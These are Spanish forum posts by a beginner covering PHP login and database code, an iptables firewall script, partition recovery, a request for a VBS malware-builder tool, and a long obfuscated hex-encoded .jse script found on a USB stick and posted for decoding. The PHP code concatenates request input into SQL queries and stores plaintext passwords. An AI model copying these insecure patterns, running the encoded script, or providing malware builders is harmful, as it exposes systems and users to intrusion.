Hola de nuevo. !drvy hace unos dias me dijo que la primera regla del desarrollador es no confiar en lo que escriben los usuarios y que tenia que validar los formularios. Pues ayer me propuse intentar validar el formulario de registro de mi proyecto (Aunque solo lo voy a usar yo) y descubrí que es más dificil de lo que pensaba.
Intenté algo como
Código (php) [Seleccionar]

if (!is_string($nombre))
   {
      echo ("El nombre solo puede contener letras");
   }

pero cuando lo probé usando numeros, los asimiló como string y me deja escribirlos. Tendría entonces que validar diciendo que si es int de error, si es float de error y así por cada tipo o hay formas más sutiles y útiles de hacerlo? También está la opción de usar javascript para validar los formularios, pero me gustaría hacer el proyecto lo más puro que pueda en cuanto a los lenguajes. Usar HTML, CSS y PHP&MySqli. Es cierto que tengo 2 script agregados para porpósitos específicos, pero me gustaría validar desde PHP
#30
Me gustaría saber cual es la ventaja que ofrece cada uno así como sus diferencias y cual es mejor para aprender. Yo estoy aprendiendo PHP Procedimental, pero no sé si sea la más adecuada para usar con CodeIgniter y en general para aprender este lenguaje
#31
Hola a todos. Llevo casi un mes aprendiendo PHP y he pasado por aqui ya un par de veces buscando ayuda. Ayer domingo un vecino que tambien desarrolla (pero applets en java) me dijo que buscara cakePHP y que dejara de ser cavernícola. Hoy busqué a ver cómo descargar cakePHP en la wen oficial y dicen que viene por default en Wamp que es lo que yo uso, aunque hay que hacer algunas modificaciones. Mi pregunta es: ¿Me recomiendan evolucionar de larva a mosquito o seguir siendo troglodita? En caso de que la respuesta sea avanzar al framework si pudieran explicarme cual es el sentido y que ventajas tiene, así como sus desventajas y esas cosas Gracias
#32
PHP / [Resuelto]Login solo en PHP
4 Enero 2017, 17:59 PM
Hola a todos nuevamente. Me gustaría traerles un pequeño login que hice en PHP sin JQuery ni nada de eso. Solo PHP y HTML. Quisiera que me digan qué les parece el código y si hay formas de que usando solo PHP, no salga en el código fuente de la página la contraseña o que me digan cómo darle más seguridad al formulario y esas cosas. Sin dilatarnos más, veamos los 2 archivos:

Login.php
Código (php) [Seleccionar]

<?php 
session_start
();
if (isset(
$_SESSION['userid']))
{
header("location:index.php");

}
else
{

?>

<html>
<head>
<title>Login de Usuario</title>
</head>
<link rel="stylesheet" href="css/login.css" type="text/css" />
<body>
<br /><br /><br />
<center>
<h2>Ingrese sus datos para acceder al sistema</h2>
<form action="logon.php" method="post" name="form">
<table border='0' bgcolor="">
<tr>
<td><b>
 <p align="right">Usuario</p></b></td>
<td align="center"><input type="text" name="user"></td>
</tr>
<tr>
<td><b>
<p align="right">Contrase&ntilde;a</p>
</b></td>
<td align="center"><input type="password" name="pass"></td>
</tr>
<tr align="center">
<td>
</td>
<td>
<input type="submit" value="enviar"><input type="reset" value="limpiar" name="limpiar">
</td>
</tr>
<?php 
if (isset(
$_SESSION['error']))
{
$mensaje=$_SESSION['error'];
echo("<tr align='right'><td colspan='2'>$mensaje</td></tr>");
}

?>

</table>
</form>
</center>
<center><b><a href='guest.php'>Entrar como invitado</a></b></center>

<?php 
}

?>

</body>
</html>


La idea es que si ya tienes un login realizado no te deje acceder a esa página, sino que te redireccione al index.php.

Ahora el logon.php que es quien gestiona los usuarios con la BD
Código (perl) [Seleccionar]

<?php 
//recuperacion de variables
session_start();
$usuario=$_REQUEST['user'];
$password=$_REQUEST['pass'];
$mensaje="Usuario o Contrase&ntilde;a incorrectos";

//base de datos
$conexion=mysqli_connect("localhost""usuario""contraseña") or die (mysqli_error($conexion));
$bd="trabajo";
$tabla="usuarios";
mysqli_select_db($conexion$bd)or die (mysqli_error($conexion));
//$cifrar=base64_encode($password);

//seleccion del usuario
$registro=mysqli_query($conexion"select * from $tabla where (usuario='$usuario')") or die ("Usuario desconocido");
{
if ($reg=mysqli_fetch_array($registro))
{
if ($password==$reg['password'])
{
$_SESSION['userid']=$_REQUEST['user'];
$_SESSION[nivel]= $reg[nivel];
mysqli_close($conexion);
header("location:index.php");
}
else
{
$_SESSION['error']=$mensaje;
echo ("error");
mysqli_close($conexion);
header("location:login.php");
}
}
else
{
$_SESSION['error']=$mensaje;
echo ("error");
mysqli_close($conexion);
header("location:login.php");
}
}
?>



Y así estamos listos. Yo recupero el nivel porque así puedo establecer permisos a los usuarios dependiendo de su nivel. Y en el login solo necesitamos recuperar las variables de sesion así

Código (php) [Seleccionar]
session_start();
if (isset($_SESSION['userid']))
{

?>
Aqui ponemos todo el index.php si el usuario se logueó bien. Si no abrimos php de nuevo escribimos
<?php
}
else
{
header("location:login.php");
}
?>

</body>
</html>


#33
PHP / [Resuelto] Consulta mysqli_query no funciona
28 Diciembre 2016, 20:35 PM
Hola a todos. Hace unos días empecé a estudiar PHP y llegué a la parte de las BD. Logré implementar un pequeño formulario que recopila unos datos y los almacena en una BD llamada "trabajo" en una tabla "datos". Luego los llamo desde otra página y los muestro en una tabla donde tengo un boton de borrar. El botón puede borrar el campo sin problemas, pero lo que quiero es que antes de borrar los datos de la tabla "datos" los inserte en otra tabla llamada "eliminados" para que no se pierdan los datos, sino que dejen de estar en la tabla principal (No sé si me hago entender).
Estos son los datos del formulario

Código (php) [Seleccionar]

<!-- index.php-->
<html>
<head>
<title>Registro de Ordenes de Trabajo</title>
</head>
<body>
<center><H2>Registro de Ordenes de Trabajo</h2>
<form action="bd.php" method="post" target="_blank">
<table border='1'>
<tr><td>No. de Orden</td><td><input type="text" name="orden"></td></tr>
<tr><td>Nombre completo del trabajador</td><td><input type="text" name="trabajador"></td></tr>
<tr><td>Departamento</td><td><select name="departamento"><option value="produccion">produccion<option value="tratamiento termico">tratamiento termico</option><option value="taladro">taladro</option><option value="metrologia">metrologia</option><option value="tecnologia">tecnologia</option><option value="cnc">cnc</td></tr>
<tr><td>Fecha de Entrada (dd/mm/aaaa)</td><td align="center"><input type="text" size="2" name="diai"><input type="text" size="2" name="mesi"><input type="text" size="4" name="anioi"></td></tr>
<tr><td>Fecha de Finalizacion (dd/mm/aaaa)</td><td align="center"><input type="text" size="2" name="diaf"><input type="text" size="2" name="mesf"><input type="text" size="4" name="aniof"></td></tr>
<tr align="center"><td></td><td><input type="submit" value="enviar" name="enviar"><input type="reset" value="limpiar" name="limpiar"></td></tr>
       </table>
</form>
</center>
</body>
</html>


Esta es la página que procesa los datos y redirecciona hacia la página donde está la tabla

Código (php) [Seleccionar]

<?php
//bd.php

//Primero comprobamos que la fecha esté correcta
if (checkdate($_REQUEST['mesi'], $_REQUEST['diai'], $_REQUEST['anioi']) || checkdate($_REQUEST['mesf'], $_REQUEST['diaf'], $_REQUEST['aniof']))
{
$fechai=$_REQUEST['anioi']."-".$_REQUEST['mesi']."-".$_REQUEST['diai'];
$fechaf=$_REQUEST['aniof']."-".$_REQUEST['mesf']."-".$_REQUEST['diaf'];
//creamos la variable para la conexion y la variable para la tabla
$conexion=mysqli_connect("localhost""root""") or die("Problemas de conexion");
$tabla="datos";
$bd="trabajo";
$tabla2="elementos_eliminados";
//seleccionamos la base de datos
mysqli_select_db($conexion$bd)or die ("Problemas en la seleccion de la BD"); 

//Añadir datos a la BD
mysqli_query($conexion"insert into $tabla (orden, trabajador, departamento, fechainicio, fechafinal) values ( '$_REQUEST[orden]', '$_REQUEST[trabajador]', '$_REQUEST[departamento]', '$fechai', '$fechaf')") or die ("Problemas al añadir elementos a la BD".mysqli_error());
mysqli_close($conexion);
header("location:listado_orden.php");
}
else
{
echo ("La fecha introducida es incorrecta");
}

?>


Luego los datos se muestran en esta página:
Código (php) [Seleccionar]

<html>
<head>
<title>Listado de Ordenes de Trabajo</title>
</head>
<?php 
/*ahora el invento: que debajo aparezcan todos los campos en una tabla dinámica que crezca con cada registro que se haga en la BD*/
$conexion=mysqli_connect("localhost""root""") or die("Problemas de conexion");
$tabla="datos";
$bd="trabajo";
mysqli_select_db($conexion$bd)or die ("Problemas en la seleccion de la BD"); 
$registro=mysqli_query ($conexion"select id, orden, trabajador, departamento, fechainicio, fechafinal from $tabla") or die ("Problemas en la seleccion".mysqli_error());
echo ("<h2>Listado Actualizado</h2>");
echo ("<table border='2'>");
echo ("<tr><td align='center'>Orden</td><td align='center'>Trabajador</td><td align='center'>Departamento</td><td align='center'>Fecha Inicial</td><td align='center'>Fecha Final</td><td align='center'>Editar</td><td align='center'>Eliminar</td></tr>");
while ($reg=mysqli_fetch_array($registro))
{
echo ("<tr><td align='center'>$reg[orden]</td><td align='center'>$reg[trabajador]</td><td align='center'>$reg[departamento]</td><td align='center'>$reg[fechainicio]</td><td align='center'>$reg[fechafinal]</td><td align='center'><a href='edit.php?id=$reg[id]'><img src='images/edit.png'></img></a></td><td align='center'><a href='borrar.php?id=$reg[id]'><img src='images/deny.png'</img></a></td></tr>");
}
echo ("</table>");
mysqli_close($conexion);

?>

</body>
</html>

y como ven, hay un enlace para borrar el contenido asociado al id. Y aquí está el problema

Código (php) [Seleccionar]

<?php 
//borrar.php
/*implementar un algoritmo que al presionar en el boton "borrar" elimine ese usuario de la bd*/

//conectar con la BD
$conexion=mysqli_connect("localhost""root""") or die("Problemas de conexion");
$tabla="datos";
$bd="trabajo";
$tabla2="eliminados";
$ids=$_REQUEST['id'];
$fechaeliminado=date("Y")."-".date("m")."-".date("d");

//seleccion de datos
mysqli_select_db($conexion$bd) or die("Problemas en la seleccion de la BD");

//crear registros
$registro=mysqli_query($conexion"select * from $tabla where id=$ids") or die ("Problemas al seleccionar desde la BD".mysqli_error());

echo ("<h2>Listado Actualizado</h2>");
echo ("<table border='2'>");
echo ("<tr><td align='center'>id</td><td align='center'>Orden</td><td align='center'>Trabajador</td><td align='center'>Departamento</td><td align='center'>Fecha Inicial</td><td align='center'>Fecha Final</td><td align='center'>Fecha Eliminado</td></tr>");
if ($reg=mysqli_fetch_array($registro))
{
//Insertamos los datos que se van a borrar en la otra tabla llamada "eliminados"
mysqli_query($conexion"insert into $tabla2 (id, orden, trabajador, departamento, fechainicio, fechafinal) values ( $reg[id]$reg[orden]$reg[trabajador]$reg[departamento]$reg[fechainicio]$reg[fechafinal]$fechaeliminado") or die ("Problemas al anadir elementos a la BD '$tabla2'<br>".mysqli_error());
//Eliminar datos de la tabla
mysqli_query($conexion"delete from $tabla where id='$_REQUEST[id]'") or die ("Problemas al borrar".mysqli_error());
//Cerramos la conexion a la BD
mysqli_close($conexion);
//Redireccionamos a la pagina anterior para ver los datos
header("location:listado_orden.php");

?>



Y cuando ejecuto la consulta me arroja el siguiente error:
Warning: mysqli_error() expects exactly 1 parameter, 0 given in C:\wamp\www\Trabajo\borrar.php on line 29

Por favor ayudenme. Estoy aprendiendo y si no puedo pasar de aqui no quiero entrar en otros temas más complicados
#34
Hola Gente. Pues nada, estoy pidiendo ayuda y ahora explico por qué:
Vivo en Cuba, donde las cosas son un poco difíciles. Y cuando digo "las cosas" me refiero a que no se puede pagar con tarjetas de credito, no me puedo registrar en muchos lugares y sobre todas las cosas: EL INTERNET NO LLEGA A LAS CASAS. Entonces, hemos creado alternativas, una red "local" que tiene más de 25 mil usuarios y nos funciona como "Internet" pues ahi tenemos servidores de juegos como WoW, Battle Field 3, Arma 3, Rust, Minecraft, etc. Y vagueando por internet en horario laboral vi el codecombat, un magnifico juego que te enseña a programar mientras te diviertes y pensé en buscar algun server para montarlo en nuestra red y que todos aprendamos (el que quiera claro). Si pudieran ayudarme con algun lugar donde descargar el server de este juego (preferiblemente en español) u otros juegos para aprender a programar que se puedan jugar y que sean PvP y esas cosas. Gracias de antemano
#35
Redes / [AYUDA] Mi primer firewall iptables
6 Abril 2016, 21:07 PM
Hola a todos los que me leen. Llevo el dia entero leyendo un muy buen tutorial sobre iptables, que es cada cosa y como configurar cada elemento dentro del mismo. Al final me decidi a crear el mio propio apoyandome claro está en ese tutorial ya que no me lo aprendi todo de memoria. Cuando finalicé, lo sustitui por el que tengo (otro script en iptables que hizo un amigo y esta genial) y no funciona bien. Lo hice por funciones para poder darle las opciones start, stop, restart y open. El supuestamente trabaja bien, pero si le doy start, todas las conexiones dan time out. Si lo pongo en open si trabaja pero a nadie la gusta tener un firewall "ABIERTO". A continuacion les adjunto el codigo a ver si alguien me ayuda por favor.


#! /bin/bash

# /etc/init.d/firewall
#
### BEGIN INIT INFO
# Provides: firewall
# Required-Start: $network
# Required-Stop:
# Should-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Firewall configuration
### END INIT INFO

#LOCAL SERVERS
CORREO=192.168.21.3 # CORREO
DNS=192.168.21.2 # DNS
ADMIN=192.168.21.5 # Informatico
FIREWALL=192.168.21.1 # Firewall (esta pc)
WIFI=192.168.21.7 # PC Virtual de Pruebas

LAN=192.168.21.0/24

# INTERFACES
LANIF=eth1
WANIF=eth0

# DIRECCIONES IP
WANIP2=xxx.xxx.xxx.xxx
WANIP3=xxx.xxx.xxx.xxx

ANY=0.0.0.0/0

#Variable para los comentarios
com="-m comment --comment"

refrescar_reglas()
{
iptables -F INPUT
iptables -F OUTPUT
iptables -F FORWARD
iptables -F -t nat
}

#ESTABLECE POLITICA POR DEFECTO COMO PERMISIVA, LO QUE NO SE DENIEGUE

EXPLICITAMENTE SE DEJA PASAR
politica_accept()
{
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
}

#ESTABLECE POLITICA POR DEFECTO COMO CERRADA, LO QUE NO SE PERMITA EXPLICITAMENTE

SE DENIEGA
politica_descartar()
{
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
}

conexion_establecida()
{
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

}

localhost()
{
iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Trafico Localhost IN"
iptables -A INPUT -i $LANIF -p tcp --dport 3128 -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT -m comment --comment "Trafico Localhost OUT"
}

ssh()
{
iptables -A INPUT -p tcp --dport 22 -m state --state NEW,RELATED,ESTABLISHED -j

ACCEPT $com "SSH DESDE LAN"
}

ping_icmp()
{
iptables -A INPUT -i eth1 -p icmp -j ACCEPT
}

#NATEOS
##################################################################################

########################################################################
route()
{
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s $CORREO -o $WANIF -j SNAT --to-source $WANIP2
iptables -t nat -A POSTROUTING -s $DNS -o $WANIF -j SNAT --to-source $WANIP2
iptables -t nat -A POSTROUTING -s $WIFI -o $WANIF -j SNAT --to-source $WANIP2
iptables -t nat -A POSTROUTING -s $ADMIN -o $WANIF -j SNAT --to-source $WANIP2
}
#PORT FORWARDING
port_forwarding()
{
iptables -t nat -A PREROUTING -d $WANIP2 -p tcp -m multiport --dports 25,587 -m

state --state NEW,RELATED,ESTABLISHED -j DNAT --to-destination $CORREO
}
#FORWARDING
forwarding()
{
#Admin
iptables -A FORWARD -s $ADMIN -j ACCEPT
iptables -A FORWARD -d $ADMIN -j ACCEPT

#DNS
iptables -A FORWARD -s $DNS -p tcp -m multiport --dports 53,953 -j ACCEPT
iptables -A FORWARD -d $DNS -p tcp -m multiport --dports 53,953 -j ACCEPT
iptables -A FORWARD -s $DNS -p udp -m multiport --dports 53,953 -j ACCEPT
iptables -A FORWARD -d $DNS -p udp -m multiport --dports 53,953 -j ACCEPT
iptables -A FORWARD -s $DNS -p icmp -j ACCEPT
iptables -A FORWARD -d $DNS -p icmp -j ACCEPT


#SMTP,DNS,WEBMAIL IN AND OUT
iptables -A FORWARD -d $CORREO -j ACCEPT
iptables -A FORWARD -s $CORREO -j ACCEPT

#WIFI
iptables -A FORWARD -s $WIFI -j ACCEPT
}

##################################################################################

########################################################################

ancho_banda()
{
# HACEMOS LIMPIEZA
# BORRAMOS TODAS LAS REGLAS ANTERIORES
tc qdisc del dev eth0 root
tc qdisc del dev eth1 root

#CLASE QUE REPRESENTA LA SALIDA DE PAQUETES, A 64Kbit (ESTO ES PARA EL CORREO)
tc qdisc add dev eth0 root handle 1:0 htb default 99
tc class add dev eth0 parent 1:0 classid 1:1 htb rate 128Kbit ceil 128Kbit
tc class add dev eth0 parent 1:1 classid 1:11 htb rate 64Kbit ceil 70Kbit prio 2
tc qdisc add dev eth0 parent 1:11 handle 10: sfq perturb 10

#CLASE QUE REPRESENTA LA ENTRADA DE PAQUETES, A 64Kbit (ESTO ES PARA EL CORREO)
tc qdisc add dev eth1 root handle 2:0 htb default 99
tc class add dev eth1 parent 2:0 classid 2:1 htb rate 128Kbit ceil 128Kbit
tc class add dev eth1 parent 2:1 classid 2:11 htb rate 64Kbit ceil 70Kbit prio 2
tc qdisc add dev eth1 parent 2:11 handle 20: sfq perturb 10

#EL TRAFICO ENTRANTE SERA DE LA CLASE 2 Y LA SALIDA DE LA CLASE 1
iptables -t mangle -I POSTROUTING -o eth0 -p tcp -s $CORREO -j CLASSIFY --set-

class 1:11
iptables -t mangle -I POSTROUTING -o eth0 -p tcp -d 10.0.0.2 -j CLASSIFY --set-

class 2:11
}

flags()
{
#NO SE ACEPTAN PAQUETES CON flags DE URGENTE, FINALIZADO NI EMPUJE
iptables -A INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP

#LOS QUE NO TIENEN flags QUE NO ENTREN
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

#LOS PAQUETES DE UNA NUEVA CONEXION DEBEN SER SYN
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP

#PAQUETES INCOMPLETOS TAMPOCO QUEREMOS
iptables -A INPUT -f -j DROP

# LAS CONEXIONES QUE NO PERTENEZCAN AL SISTEMA SE BOTAN
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
}

dns()
{
iptables -A OUTPUT -o $WANIF -s $WANIP2 -p udp --dport 53 -m state --state

NEW,RELATED,ESTABLISHED -j ACCEPT -m comment --comment "CONSULTAS DNS DESDE

GATEWAY"
}

ftp()
{
iptables -A OUTPUT -o $WANIF -m multiport -p tcp --dports 20:21,1024:65535 -m

state --state NEW,RELATED,ESTABLISHED -j ACCEPT
}

case "$1" in
start)
refrescar_reglas
flags
politica_descartar
conexion_establecida
ancho_banda
dns
ssh
ping_icmp
ftp
route
forwarding
port_forwarding
echo "FIREWALL ACTIVO"
;;
open)
refrescar_reglas
politica_accept
route
forwarding
echo "MODO ENRUTADOR Y TRADUCCION IP ¡ABIERTO!"
;;
stop)
refrescar_reglas
politica_accept
route
forwarding
port_forwarding
echo "FIREWALL DETENIDO!!! CUIDADO"
;;
restart)
echo "REINICIANDO"
$0 stop
$0 start
;;
*)
echo "Usar Start|Stop|Open|restart"
esac

exit 0


Trate de tenerlo lo mas comentado posible para que se entienda (mas por mi que por otra cosa, para no perderme).
#36
Hola a todos. Hace un tiempo tenia un programa que tenia la facilidad de crear los virus o malware en vbs y te daba muchisimas opciones. El mismo tenia iconos de los simpson y ahora no recuerdo el nombre. Si alguien me pudiera ayudar con ese o algun programa simple, lo que necesito es algo sencillo, no crean que quiero hackear la NASA ni nada de eso. "Todo con fines educativos"  ;D ;D
#37
GNU/Linux / [AYUDA] Para recuperar particion
29 Enero 2016, 13:15 PM
Hola a todos. Les comento mi problema agradeciendo de antemano la ayuda que me puedan ofrecer. El caso es que tengo un HDD de 320GB que estaba teniendo problemas y en mi caso, tenia instalado windows xp (la pc es algo vieja) y cuando iniciaba a los 3 ó 4 minutos se congelaba. Probe de todo y pues era el HDD. Este tenia 2 particiones, una de 20GB y la otra con el resto. Me dijeron que instalara linux, que no era igual, y que podia ser la solucion. Pues puse el disco de Ubuntu 13.04 y me dispuse a instalar. Al momento de elegir que hacer con el disco, habian 4 opciones. La primera decia que borraba el disco, y no quise poner esa porque tenia informacion en el disco que es importante. La segunda no recuerdo. La tercera decia LVM y especificaba que podria redimensionar las particiones y esas cosas. Abajo decia "Mas Opciones". Asi que escogi la tercera, pero no me dejo escoger donde queria instalar, sino que formateo el hdd completo a ext3 y despues instalo Ubuntu. Quisiera saber si puedo recuperar esa informacion que habia cuando el hdd estaba en NTFS. De hecho, ya me aventure a formatearlo en NTFS de nuevo y sin escribir nada mas recuperarlo, pero quisiera saber que hice mal y si es posible recuperar los datos
#38
Hola a todos, les traigo tarea por decirlo de alguna forma a aquellos especializados en el arte de la cryptografia. El punto es que encontre en mi memoria USB hace un par de dias un archivo con el icono de una foto y un nombre asi como
"DSC01012                                                                                  .jse"
o sea, que estaban tratando de esconder la extension alargando el nombre. Eso me dio curiosidad y lo revise y me escontre con el codigo que les traigo hoy para ver si me ayudan a descifrarlo y conocer realmente que es lo que hace. Por cierto, mi cuñado si lo ejecuto y lo que hace al usuario es supuestamente abrir la foto del fondo de escritorio. Sin mas vueltas, aqui les dejo el codigo
Código ("vb") [Seleccionar]

z="cfcdd4d6bc98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aebecdc4828682cbcfc4c9c289a1c4828682c7c0aed4ce828682cfc0c8aabdc5828682c0becf828496bd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2aebe828682cdc4cbcf89aec3828682c0c7c7828496ce98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aec3c0828682c7c7899ccbcbc7c4828682bebccfc4cac9828496d2c798b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2bdc0c8aebecd828682c4cbcfc4c9c289aeb2bdc0c8a7828682cabebccfcacd828496bfbd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf83829c9faa8286829f9d89aecfcd828682c0bcc8828496bfbd899ec3bccdaec0cf987db0ae889cae9ea4a47d96bfbd89afd4cbc0988d96be8e98bd89aecbc0bec4bcc7a1cac7bfc0cdce837daecfbccdcfd0cb7d8496c9cf919883bd89adc0c2adc0bcbf8382a3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b79ed0cdcdc0c9cfb1c0cdcec4cac982849998919acfcdd0c095c1bcc7cec08496c5c4beca98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b77d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b789c5cbc2b7b77d84867db7b79fc0c1bcd0c7cfa4becac9b7b77d8496c4beca987dc0d3cbc7cacdc0cd89c0d3c07d96c298b2aebecdc4cbcf89aebecdc4cbcfa1d0c7c7a9bcc8c096bfbc98c9c0d27b9fbccfc0838496bcc9ca98bfbc89c2c0cfb4c0bccd8384867d7d96c8c0ce98bfbc89c2c0cfa8cac9cfc3838496bfc4bc98bfbc89c2c0cf9fbccfc0838496c3cdbc988b96bcc9cfd198c9c0d27b9ccdcdbcd4837d7d8496cdc2c6987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ceb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7add0c97d96d2c7c2987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7b2c4c9c7cac2cac9b7b7aec3c0c7c77d96c2c998c9c0d27b9ccdcdbcd4837da4a8a27d877da4a8a2ba7d877daba49e7d877d9fae9e7d877d9ea4a8a27d877da3aba4a87d877da4a89ca27d877d9fae9ea17d877d9fae9ea97d877d9f9ea4a87d877da4a87d877daba49eaf7d877dae9ca8ba7d8496cecb987d7d96c1cacd83cd988b96cd97948f96cd868684d6cecb86987d7b7d96d8c0d398c2c9b6a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac88384858c8d84b886bcc9ca89ced0bdcecfcdc4c9c2838d878f84867d7d86c8c0ce86bfc4bc867d89a5aba27d86cecb867d89c5cec07d96c5c0d3987d7d96cfbcce987dc0d3cbc7cacdc0cd7d96c1ced598bc89a2c0cfa1c4c7c083c28489aec4d5c096d2cebe98b2aebecdc4cbcf89a1d0c7c7a9bcc8c096cecfc7987dc3cfcfcbce958a8ad2d2d289c2cacac2c7c089c0ce8a7ecad0cfcbd0cf98cec0bccdbec381cebec7c4c0c9cf98cbced488bcbd81cc98c1c4d1c0cdbfcac7c7d4867d96cecfcb98cecfc786c1ced596c4c183ce89a9bcc8c0aecbbcbec0838d918498987dadcabcc8c4c9c27d84d6cfcacf98bc89a2c0cfa1cac7bfc0cd83ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837da8c4becdcacecac1cf7d8489abbccfc38489abbccdc0c9cfa1cac7bfc0cd96d8c0c7cec0d6cfcacf98ce89a9bcc8c0aecbbcbec0838f8b8489abbccdcec0a9bcc8c083ce89a9bcc8c0aecbbcbec0838d91848489abbccfc396d8c9cf838496d8bebccfbec383c084d6d8cec1987d7d96c1d0c9becfc4cac97bc9cf8384d6cfcdd4d6be8c98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc8c4becdcacecac1cf7d8496be8d98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce8384899ecad0c9cf96cdc198a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485be8d888c8496be8f98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce838489c4cfc0c883cdc18489abbccfc396c4c183bc89a1cac7bfc0cda0d3c4cecfce83be8f849898c1bcc7cec084d6be8f98bc89a2c0cfa1c4c7c083be8f8489abbccdc0c9cfa1cac7bfc0cd96d8d8bebccfbec383c084d6be8f98be8c89abbccfc396d8be9098a8bccfc389cdbcc9bfcac883848593868c867d7d96be9098be9089cdc0cbc7bcbec0837d897d877d7d8496cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6c5cfd4cb98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d8496bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8c4c183c289ced0bdcecfcdc4c9c283c289c7bccecfa4c9bfc0d3aac1837db7b77d84868c87c289c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838489cec0bccdbec3837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bd89cdd0c983827d8286c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848486827d828496d8c0c7cec0d6d2cb98bd89adc0c2adc0bcbf837da3a69eb0b7b79ecac9cfcdcac77babbcc9c0c7b7b79fc0cec6cfcacbb7b7b2bcc7c7cbbccbc0cd7d8496c4c183d2cb89ced0bdcecfcdc4c9c283d2cb89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87d2cb89c7c0c9c2cfc38498987dafcdbcc9cebecabfc0bfb2bcc7c7cbbccbc0cd7d84d6c5cbc2be98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7cec3c0c7c7b7b7cacbc0c9b7b7becac8c8bcc9bfb7b77d8489cdc0cbc7bcbec0837d808c7d87d2cb8496bd89cdd0c983c5cbc2be8496d8c0c7cec0d6bd89cdd0c983827d8286d2cb86827d828496d8d8d8bebccfbec383c084d6d8cfcdd4d6cebe98d2c7899ecac9c9c0becfaec0cdd1c0cd83c9d0c7c7877b7dcdcacacfb7b7bfc0c1bcd0c7cf7d8496cdc298cebe89a2c0cf837daecfbfadc0c2abcdcad17d8496c898cdc289a8c0cfc3cabfceba89a4cfc0c8837da0c9d0c8b1bcc7d0c0ce7d8496cbc4c998c889a4c9abbccdbcc8c0cfc0cdce89aecbbcd2c9a4c9cecfbcc9bec0ba838496cdc698c9c0d27baabdc5c0becf838496cdc6b67da3a69eb07db898cdc6b67da3a6a0b4ba9eb0adada0a9afbab0aea0ad7db8988bd3938b8b8b8b8b8b8c96cdd198cdc6b6cdc2c689ced0bdcecfcd838b87cdc2c689c4c9bfc0d3aac1837db7b77d8484b896cbc4c989c39fc0c1a6c0d498cdd196cbc4c989ceaed0bda6c0d4a9bcc8c098cdc2c689ced0bdcecfcd83cdc2c689c4c9bfc0d3aac1837db7b77d847b867b8c8496cbcacf98cdc289a0d3c0bea8c0cfc3cabfba83c889a9bcc8c087cbc4c98496bcc698cbcacf89cea9bcc8c0ce89cfca9ccdcdbcd4838496c1cacd83c6c0d47bc4c97bbcc684d6cfcfce98bd89adc0c2adc0bcbf83cd